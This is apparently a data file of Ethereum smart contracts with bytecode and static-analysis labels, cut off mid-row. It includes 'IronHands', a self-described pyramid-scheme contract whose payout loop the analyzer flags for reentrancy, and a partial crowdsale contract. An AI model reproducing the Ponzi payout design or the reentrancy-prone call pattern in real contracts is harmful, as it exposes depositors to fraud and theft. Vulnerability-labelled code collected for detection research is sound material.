557fe5b05630115e6cf190162989680028161067957fe5b0563010fd4fc0162989680028161068c57fe5b0562366845190162989680028161069f57fe5b056230bbd70183026298968002816106b357fe5b05905085156106c557655af3107a4000035b95945050505050565b60008082126106dd57816105fa565b5060000390565b600080600160801b83106107155760006107046001607f1b855b04610c4f565b60ff1693841c936001607f1b029150505b6001607f1b83111561076357607f5b60ff811615610761576001607f1b848002049350600160801b841061075857600193841c9360ff6000198301161b91909101905b60001901610724565b505b6402540be40064019d25ddbe82025b049392505050565b60006001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561085657604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152670de0b6b3a764000060248201526001600160a01b038416604482015290517373353801921417f465377c8d898c6f4c0270282c9163a75d39c2916064808301926020929190829003018186803b15801561082357600080fd5b505afa158015610837573d6000803e3d6000fd5b505050506040513d602081101561084d57600080fd5b505190506105fa565b60007373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c285866001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152600a9190910a602483015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26044830152516064808301926020929190829003018186803b15801561094b57600080fd5b505afa15801561095f573d6000803e3d6000fd5b505050506040513d602081101561097557600080fd5b5051604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018390526001600160a01b038616604482015290519192507373353801921417f465377c8d898c6f4c0270282c9163a75d39c291606480820192602092909190829003018186803b1580156109f657600080fd5b505afa158015610a0a573d6000803e3d6000fd5b505050506040513d6020811015610a2057600080fd5b505191506105fa9050565b60008060008084861115610a5257610a4588888888611337565b9150508484038101610a68565b610a5e88888789611337565b9050808686030191505b9097909650945050505050565b6000610a848484846002610a8c565b949350505050565b60006106c57373353801921417f465377c8d898c6f4c0270282c6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610aee57600080fd5b505afa158015610b02573d6000803e3d6000fd5b505050506040513d6020811015610b1857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b158015610b8157600080fd5b505afa158015610b95573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610bbe57600080fd5b8101908080516040519392919084640100000000821115610bde57600080fd5b908301906020820185811115610bf357600080fd5b8251866020820283011164010000000082111715610c1057600080fd5b82525081516020918201928201910280838360005b83811015610c3d578181015183820152602001610c25565b50505050905001604052505050610d9d565b600080610100831015610c77575b6001831115610c7257600192831c9201610c5d565b6105fa565b60805b60ff811615610ca957600160ff82161b8410610c9e5760ff81169390931c92908117905b60011c607f16610c7a565b5092915050565b600080600160801b8310610cdf576000610cce6001607f1b856106fe565b60ff1693841c936001607f1b029150505b6001607f1b831115610d2d57607f5b60ff811615610d2b576001607f1b848002049350600160801b8410610d2257600193841c9360ff6000198301161b91909101905b60001901610cee565b505b6402540be40063b36d88358202610772565b60006105f78383600280610a8c565b80600260018201045b81811015610d7f57809150600281828581610d6e57fe5b040181610d7757fe5b049050610d57565b50919050565b7373353801921417f465377c8d898c6f4c0270282c81565b600060015b60018351038160ff1611610e00576002610dda6001607f1b856001850360ff1681518110610dcc57fe5b602002602001015102610cb0565b610df16001607f1b868560ff1681518110610dcc57fe5b030a9190910190600101610da2565b50610e22610e1a60018451038381610e1457fe5b04610d4e565b60fc02610d4e565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b82820281610eb757fe5b04905080660c0135dca0400002830192506001607f1b82820281610ed757fe5b049050806601b707b1cdc00002830192506001607f1b82820281610ef757fe5b049050806536e0f639b80002830192506001607f1b82820281610f1657fe5b04905080650618fee9f80002830192506001607f1b82820281610f3557fe5b04905080649c197dcc0002830192506001607f1b82820281610f5357fe5b04905080640e30dce40002830192506001607f1b82820281610f7157fe5b0490508064012ebd130002830192506001607f1b82820281610f8f57fe5b049050806317499f0002830192506001607f1b82820281610fac57fe5b049050806301a9d48002830192506001607f1b82820281610fc957fe5b04905080621c638002830192506001607f1b82820281610fe557fe5b049050806201c63802830192506001607f1b8282028161100157fe5b04905080611ab802830192506001607f1b8282028161101c57fe5b0490508061017c02830192506001607f1b8282028161103757fe5b04905080601402830192506001607f1b8282028161105157fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156110a25770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b8516156110d8577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b85161561110d576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b851615611141576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b851615611175576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b8516156111a8576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b8516156111d9576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000806000611209868661077a565b905061122c8673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28684856105b6565b9250925050935093915050565b6000610a848484846030610a8c565b6000610a84848484610150610a8c565b6000806001607f1b611269846106ce565b6223549b028161127557fe5b046298968001905060006001607f1b846002868161128f57fe5b05028161129857fe5b04905060006112a682610e3e565b623cdfaf607f1b816112b457fe5b049050600083848586876578fcdaec2200816112cc57fe5b05630115e6cf19016298968002816112e057fe5b0563010fd4fc016298968002816112f357fe5b0562366845190162989680028161130657fe5b056230bbd701830262989680028161131a57fe5b05905060008613156106c557655af3107a40000395945050505050565b60008183141561138657633b9aca0061135c61016d670de0b6b3a76400008802610e14565b670de0b6b3a76400006402540be40063edba8b13870204870204028161137e57fe5b049050610a84565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca006113d161016d670de0b6b3a76400008c02610e14565b8902816113da57fe5b04905060006001607f1b6113fc888a6001607f1b02816113f657fe5b046106e4565b670de0b6b3a7640000028161140d57fe5b04905081838201670de0b6b3a7640000028161142557fe5b0490508181036000611446670de0b6b3a76400006001607f1b850204610600565b90506000611463670de0b6b3a76400006001607f1b850205611258565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006105f7838360026030610a8c56fea2646970667358221220967cfcc48f75b17a83635c770d70f39b26e5db66dcd6921b0409795e0ccd102664736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,775 |
0xa5629861c9c345f50221996ef852fd9665eb1c05
|
pragma solidity ^0.4.21;
/**
*
*
*
*
* ATTENTION!
*
* This code? IS NOT DESIGNED FOR ACTUAL USE.
*
* The author of this code really wishes you wouldn't send your ETH to it, but it's been
* done with P3D and there are very happy users because of it.
*
* No, seriously. It's probablly illegal anyway. So don't do it.
*
* Let me repeat that: Don't actually send money to this contract. You are
* likely breaking several local and national laws in doing so.
*
* This code is intended to educate. Nothing else. If you use it, expect S.W.A.T
* teams at your door. I wrote this code because I wanted to experiment
* with smart contracts, and I think code should be open source. So consider
* it public domain, No Rights Reserved. Participating in pyramid schemes
* is genuinely illegal so just don't even think about going beyond
* reading the code and understanding how it works.
*
* Seriously. I'm not kidding. It's probablly broken in some critical way anyway
* and will suck all your money out your wallet, install a virus on your computer
* sleep with your wife, kidnap your children and sell them into slavery,
* make you forget to file your taxes, and give you cancer.
*
*
* What it does:
*
* It takes 50% of the ETH in it and buys tokens.
* It takes 50% of the ETH in it and pays back depositors.
* Depositors get in line and are paid out in order of deposit, plus the deposit
* percent.
* The tokens collect dividends, which in turn pay into the payout pool
* to be split 50/50.
*
* If you're seeing this contract in it's initial configuration, it should be
* set to 200% (double deposits), and pointed at PoWH:
* 0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe
*
* But you should verify this for yourself.
*
*
*/
contract ERC20Interface {
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract REV {
function buy(address) public payable returns(uint256);
function withdraw() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
constructor() public {
owner = 0xc42559F88481e1Df90f64e5E9f7d7C6A34da5691;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract IronHands is Owned {
/**
* Modifiers
*/
/**
* Only owners are allowed.
*/
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
/**
* The tokens can never be stolen.
*/
modifier notPooh(address aContract){
require(aContract != address(weak_hands));
_;
}
modifier limitBuy() {
if(msg.value > limit) { // check if the transaction is over limit eth (1000 finney = 1 eth)
revert(); // if so : revert the transaction
}
_;
}
/**
* Events
*/
event Deposit(uint256 amount, address depositer);
event Purchase(uint256 amountSpent, uint256 tokensReceived);
event Payout(uint256 amount, address creditor);
event Dividends(uint256 amount);
/**
* Structs
*/
struct Participant {
address etherAddress;
uint256 payout;
}
//Total ETH managed over the lifetime of the contract
uint256 throughput;
//Total ETH received from dividends
uint256 dividends;
//The percent to return to depositers. 100 for 00%, 200 to double, etc.
uint256 public multiplier;
//Where in the line we are with creditors
uint256 public payoutOrder = 0;
//How much is owed to people
uint256 public backlog = 0;
//The creditor line
Participant[] public participants;
//How much each person is owed
mapping(address => uint256) public creditRemaining;
//What we will be buying
REV weak_hands;
// Limitation
uint256 public limit = 50 finney; // 1000 = 1eth, 100 = 0,1 eth | 50 finney = 0.05 eth
/**
* Constructor
*/
/* */
constructor() public {
address cntrct = 0x05215FCE25902366480696F38C3093e31DBCE69A; // contract address
multiplier = 125; // 200 to double | 125 = 25% more
weak_hands = REV(cntrct);
}
/**
* Fallback function allows anyone to send money for the cost of gas which
* goes into the pool. Used by withdraw/dividend payouts so it has to be cheap.
*/
function() payable public {
}
/**
* Deposit ETH to get in line to be credited back the multiplier as a percent,
* add that ETH to the pool, get the dividends and put them in the pool,
* then pay out who we owe and buy more tokens.
*/
function deposit() payable public limitBuy() {
//You have to send more than 1000000 wei.
require(msg.value > 1000000);
//Compute how much to pay them
uint256 amountCredited = (msg.value * multiplier) / 100;
//Get in line to be paid back.
participants.push(Participant(msg.sender, amountCredited));
//Increase the backlog by the amount owed
backlog += amountCredited;
//Increase the amount owed to this address
creditRemaining[msg.sender] += amountCredited;
//Emit a deposit event.
emit Deposit(msg.value, msg.sender);
//If I have dividends
if(myDividends() > 0){
//Withdraw dividends
withdraw();
}
//Pay people out and buy more tokens.
payout();
}
/**
* Take 25% of the money and spend it on tokens, which will pay dividends later.
* Take the other 75%, and use it to pay off depositors.
*/
function payout() public {
//Take everything in the pool
uint balance = address(this).balance;
//It needs to be something worth splitting up
require(balance > 1);
//Increase our total throughput
throughput += balance;
//calculate 25% of investment
uint256 investment = balance / 4;
//Take away the amount we are investing(25%) from the amount to send(75%)
balance -= investment;
//Invest it in more tokens.
uint256 tokens = weak_hands.buy.value(investment).gas(1000000)(msg.sender);
//Record that tokens were purchased
emit Purchase(investment, tokens);
//While we still have money to send
while (balance > 0) {
//Either pay them what they are owed or however much we have, whichever is lower.
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
//if we have something to pay them
if(payoutToSend > 0){
//subtract how much we've spent
balance -= payoutToSend;
//subtract the amount paid from the amount owed
backlog -= payoutToSend;
//subtract the amount remaining they are owed
creditRemaining[participants[payoutOrder].etherAddress] -= payoutToSend;
//credit their account the amount they are being paid
participants[payoutOrder].payout -= payoutToSend;
//Try and pay them, making best effort. But if we fail? Run out of gas? That's not our problem any more.
if(participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)()){
//Record that they were paid
emit Payout(payoutToSend, participants[payoutOrder].etherAddress);
}else{
//undo the accounting, they are being skipped because they are not payable.
balance += payoutToSend;
backlog += payoutToSend;
creditRemaining[participants[payoutOrder].etherAddress] += payoutToSend;
participants[payoutOrder].payout += payoutToSend;
}
}
//If we still have balance left over
if(balance > 0){
// go to the next person in line
payoutOrder += 1;
}
//If we've run out of people to pay, stop
if(payoutOrder >= participants.length){
return;
}
}
}
/**
* Number of tokens the contract owns.
*/
function myTokens() public view returns(uint256){
return weak_hands.myTokens();
}
/**
* Number of dividends owed to the contract.
*/
function myDividends() public view returns(uint256){
return weak_hands.myDividends(true);
}
/**
* Number of dividends received by the contract.
*/
function totalDividends() public view returns(uint256){
return dividends;
}
/**
* Request dividends be paid out and added to the pool.
*/
function withdraw() public {
uint256 balance = address(this).balance;
weak_hands.withdraw.gas(1000000)();
uint256 dividendsPaid = address(this).balance - balance;
dividends += dividendsPaid;
emit Dividends(dividendsPaid);
}
/**
* Number of participants who are still owed.
*/
function backlogLength() public view returns (uint256){
return participants.length - payoutOrder;
}
/**
* Total amount still owed in credit to depositors.
*/
function backlogAmount() public view returns (uint256){
return backlog;
}
/**
* Total number of deposits in the lifetime of the contract.
*/
function totalParticipants() public view returns (uint256){
return participants.length;
}
/**
* Total amount of ETH that the contract has delt with so far.
*/
function totalSpent() public view returns (uint256){
return throughput;
}
/**
* Amount still owed to an individual address
*/
function amountOwed(address anAddress) public view returns (uint256) {
return creditRemaining[anAddress];
}
/**
* Amount owed to this person.
*/
function amountIAmOwed() public view returns (uint256){
return amountOwed(msg.sender);
}
/**
* A trap door for when someone sends tokens other than the intended ones so the overseers can decide where to send them.
*/
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner notPooh(tokenAddress) returns (bool success) {
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
function changeLimit(uint256 newLimit) public onlyOwner returns (uint256) {
limit = newLimit * 1 finney;
return limit;
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf146101405780631b3ed7221461016b5780633151ecfc1461019657806335c1d349146101c157806339af0513146102355780633ccfd60b146102605780633febb070146102775780635f504a82146102a257806363bd1d4a146102f95780636cff6f9d146103105780636d33b42b1461033b57806379ba50971461037c5780638da5cb5b14610393578063949e8acd146103ea578063997664d714610415578063a0ca0a5714610440578063a26dbf261461046b578063a4d66daf14610496578063a6f9dae1146104c1578063d0e30db014610504578063d493b9ac1461050e578063e5cf229714610593578063fb346eab146105ea578063ff5d18ca14610615575b005b34801561014c57600080fd5b5061015561066c565b6040518082815260200191505060405180910390f35b34801561017757600080fd5b5061018061067c565b6040518082815260200191505060405180910390f35b3480156101a257600080fd5b506101ab610682565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b506101ec6004803603810190808035906020019092919050505061075a565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561024157600080fd5b5061024a6107ad565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b506102756107b3565b005b34801561028357600080fd5b5061028c6108da565b6040518082815260200191505060405180910390f35b3480156102ae57600080fd5b506102b76108e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b5061030e61090a565b005b34801561031c57600080fd5b50610325610e16565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610e1c565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610e93565b005b34801561039f57600080fd5b506103a8610f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610f78565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b5061042a611040565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561104a565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b5061048061105b565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104ab611068565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106e565b005b61050c61110d565b005b34801561051a57600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112da565b604051808215151515815260200191505060405180910390f35b34801561059f57600080fd5b506105d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147d565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114c6565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d0565b6040518082815260200191505060405180910390f35b60006106773361147d565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b8101908080519060200190929190505050905090565b60078181548110151561076957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b15801561085a57600080fd5b5087f115801561086e573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff1631935060018411151561093957600080fd5b8360026000828254019250508190555060048481151561095557fe5b0492508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610a1f57600080fd5b5088f1158015610a33573d6000803e3d6000fd5b5050505050506040513d6020811015610a4b57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115610e0f576007600554815481101515610ab857fe5b9060005260206000209060020201600101548410610af8576007600554815481101515610ae157fe5b906000526020600020906002020160010154610afa565b835b90506000811115610dda5780840393508060066000828254039250508190555080600860006007600554815481101515610b3057fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610bbb57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610bea57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610d04577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610c8557fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610dd9565b80840193508060066000828254019250508190555080600860006007600554815481101515610d2f57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610dba57fe5b9060005260206000209060020201600101600082825401925050819055505b5b6000841115610df55760016005600082825401925050819055505b600780549050600554101515610e0a57610e10565b610a9e565b5b50505050565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b66038d7ea4c680008202600a81905550600a549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eef57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561100057600080fd5b505af1158015611014573d6000803e3d6000fd5b505050506040513d602081101561102a57600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a5434111561111e57600080fd5b620f42403411151561112f57600080fd5b6064600454340281151561113f57fe5b049050600760408051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508060066000828254019250508190555080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a533433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160006112c0610682565b11156112cf576112ce6107b3565b5b6112d761090a565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133757600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139557600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b505050506040513d602081101561146257600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a723058205c947a730011b9e923f81ed5cb17de3c229115fa28442f3f23da01093a74f6410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,776 |
0x3b1bcee51d853d6a2a9bc955b94c005f44892bdb
|
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20 {
function transfer (address _beneficiary, uint256 _tokenAmount) external returns (bool);
function mint (address _to, uint256 _amount) external returns (bool);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
modifier onlyWhileOpen {
require(
(now >= preICOStartDate && now < preICOEndDate) ||
(now >= ICOStartDate && now < ICOEndDate)
);
_;
}
modifier onlyWhileICOOpen {
require(now >= ICOStartDate && now < ICOEndDate);
_;
}
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// Адрес оператора бекЭнда для управления вайтлистом
address public backendOperator = 0xd2420C5fDdA15B26AC3E13522e5cCD62CEB50e5F;
// Сколько токенов покупатель получает за 1 эфир
uint256 public rate = 100;
// Сколько эфиров привлечено в ходе PreICO, wei
uint256 public preICOWeiRaised = 1850570000000000000000;
// Сколько эфиров привлечено в ходе ICO, wei
uint256 public ICOWeiRaised;
// Цена ETH в центах
uint256 public ETHUSD;
// Дата начала PreICO
uint256 public preICOStartDate;
// Дата окончания PreICO
uint256 public preICOEndDate;
// Дата начала ICO
uint256 public ICOStartDate;
// Дата окончания ICO
uint256 public ICOEndDate;
// Минимальный объем привлечения средств в ходе ICO в центах
uint256 public softcap = 300000000;
// Потолок привлечения средств в ходе ICO в центах
uint256 public hardcap = 2500000000;
// Бонус реферала, %
uint8 public referalBonus = 3;
// Бонус приглашенного рефералом, %
uint8 public invitedByReferalBonus = 2;
// Whitelist
mapping(address => bool) public whitelist;
// Инвесторы, которые купили токен
mapping (address => uint256) public investors;
event TokenPurchase(address indexed buyer, uint256 value, uint256 amount);
function Crowdsale(
address _wallet,
uint256 _preICOStartDate,
uint256 _preICOEndDate,
uint256 _ICOStartDate,
uint256 _ICOEndDate,
uint256 _ETHUSD
) public {
require(_preICOEndDate > _preICOStartDate);
require(_ICOStartDate > _preICOEndDate);
require(_ICOEndDate > _ICOStartDate);
wallet = _wallet;
preICOStartDate = _preICOStartDate;
preICOEndDate = _preICOEndDate;
ICOStartDate = _ICOStartDate;
ICOEndDate = _ICOEndDate;
ETHUSD = _ETHUSD;
}
modifier backEnd() {
require(msg.sender == backendOperator || msg.sender == owner);
_;
}
/* Публичные методы */
// Установить стоимость токена
function setRate (uint16 _rate) public onlyOwner {
require(_rate > 0);
rate = _rate;
}
// Установить адрес кошелька для сбора средств
function setWallet (address _wallet) public onlyOwner {
require (_wallet != 0x0);
wallet = _wallet;
}
// Установить торгуемый токен
function setToken (ERC20 _token) public onlyOwner {
token = _token;
}
// Установить дату начала PreICO
function setPreICOStartDate (uint256 _preICOStartDate) public onlyOwner {
require(_preICOStartDate < preICOEndDate);
preICOStartDate = _preICOStartDate;
}
// Установить дату окончания PreICO
function setPreICOEndDate (uint256 _preICOEndDate) public onlyOwner {
require(_preICOEndDate > preICOStartDate);
preICOEndDate = _preICOEndDate;
}
// Установить дату начала ICO
function setICOStartDate (uint256 _ICOStartDate) public onlyOwner {
require(_ICOStartDate < ICOEndDate);
ICOStartDate = _ICOStartDate;
}
// Установить дату окончания PreICO
function setICOEndDate (uint256 _ICOEndDate) public onlyOwner {
require(_ICOEndDate > ICOStartDate);
ICOEndDate = _ICOEndDate;
}
// Установить стоимость эфира в центах
function setETHUSD (uint256 _ETHUSD) public onlyOwner {
ETHUSD = _ETHUSD;
}
// Установить оператора БекЭнда для управления вайтлистом
function setBackendOperator(address newOperator) public onlyOwner {
backendOperator = newOperator;
}
function () external payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
uint256 tokens;
if(_isPreICO()){
_preValidatePreICOPurchase(beneficiary, weiAmount);
tokens = weiAmount.mul(rate.add(rate.mul(30).div(100)));
preICOWeiRaised = preICOWeiRaised.add(weiAmount);
wallet.transfer(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
emit TokenPurchase(beneficiary, weiAmount, tokens);
} else if(_isICO()){
_preValidateICOPurchase(beneficiary, weiAmount);
tokens = _getTokenAmountWithBonus(weiAmount);
ICOWeiRaised = ICOWeiRaised.add(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
emit TokenPurchase(beneficiary, weiAmount, tokens);
}
}
// Покупка токенов с реферальным бонусом
function buyTokensWithReferal(address _referal) public onlyWhileICOOpen payable {
address beneficiary = msg.sender;
uint256 weiAmount = msg.value;
_preValidateICOPurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmountWithBonus(weiAmount).add(_getTokenAmountWithReferal(weiAmount, 2));
uint256 referalTokens = _getTokenAmountWithReferal(weiAmount, 3);
ICOWeiRaised = ICOWeiRaised.add(weiAmount);
investors[beneficiary] = weiAmount;
_deliverTokens(beneficiary, tokens);
_deliverTokens(_referal, referalTokens);
emit TokenPurchase(beneficiary, weiAmount, tokens);
}
